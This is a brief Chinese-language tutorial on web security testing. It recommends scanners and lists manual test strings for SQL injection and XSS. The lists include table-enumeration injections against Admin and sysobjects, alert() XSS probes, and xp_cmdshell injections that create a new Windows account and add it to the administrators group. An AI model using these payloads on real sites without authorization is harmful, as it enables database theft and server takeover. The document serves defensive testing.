web安全测试方法

web安全测试方法

工具扫描

目前web安全扫描器针对 XSS、SQL injection 、OPEN redirect 、PHP File Include漏洞的检测技术已经比较成熟。

商业软件web安全扫描器：有IBM Rational Appscan、WebInspect、Acunetix WVS 免费的扫描器：W3af 、Skipfish 等

根据业务资金，可以考虑购买商业扫描软件，也可以使用免费的，各有各的好处。

首页可以对网站进行大规模的扫描操作，工具扫描确认没有漏洞或者漏洞已经修复后，再进行以下手工检测。

手工检测

对于CSRF、越权访问、文件上传、修改密码 等漏洞，难以实现自动化检测的效果，这是因为这些漏洞涉及系统逻辑或业务逻辑，有时候还需要人机交互参与页面流程，因此 这类漏洞的检测更多的需要依靠手动测试完成。

手工检测网站URL、后台登陆是否具有SQL注入

Admin--

‘or --

‘ and ( ) exec insert * % chr mid

and 1=1 ; And 1=1 ; aNd

char(49)char(61)char(49) ; %20AND%201=2

‘and 1=1 ; And 1=1 ; aNd 1=1 ;

and 1=2 ; and 1=2

and 2=2

and user>0

and (select count(*) from sysobjects)>0

and (select count(*) from msysobjects)>0

and (Select Count(*) from Admin)>=0

and (select top 1 len(username) from Admin)>0(username 已知字段)

;exec master..xp_cmdshell “net user name password /add”—

;exec master..xp_cmdshell “net localgroup name administrators /add”—

and 0<>(select count(*) from admin)

XSS：对于get请求的URL一般漏洞扫描软件都可扫描到是否存在XSS漏洞。（但是软件没有完美的，也有误报，或者有遗漏的情况）

对于POST的请求的（例如留言板，评论，等等），就是要在输入框输入的情况，则要进行以下测试

★~!@#$%^&*()_+<>,./?;'"[]{}\-

★%3Cinput /%3E

★%3Cscript%3Ealert('XSS')%3C/script%3E

★<input type="text"/>

★<input/>

★<input/

★<script>alert('xss')</script>

★<script>alert('xss');</script>

★</script><script>alert(‘xss’)</script>

★javascript.:alert(/xss/)

★javascript.:alert(/xss/) 1=1 ; char(97)char(110)char(100)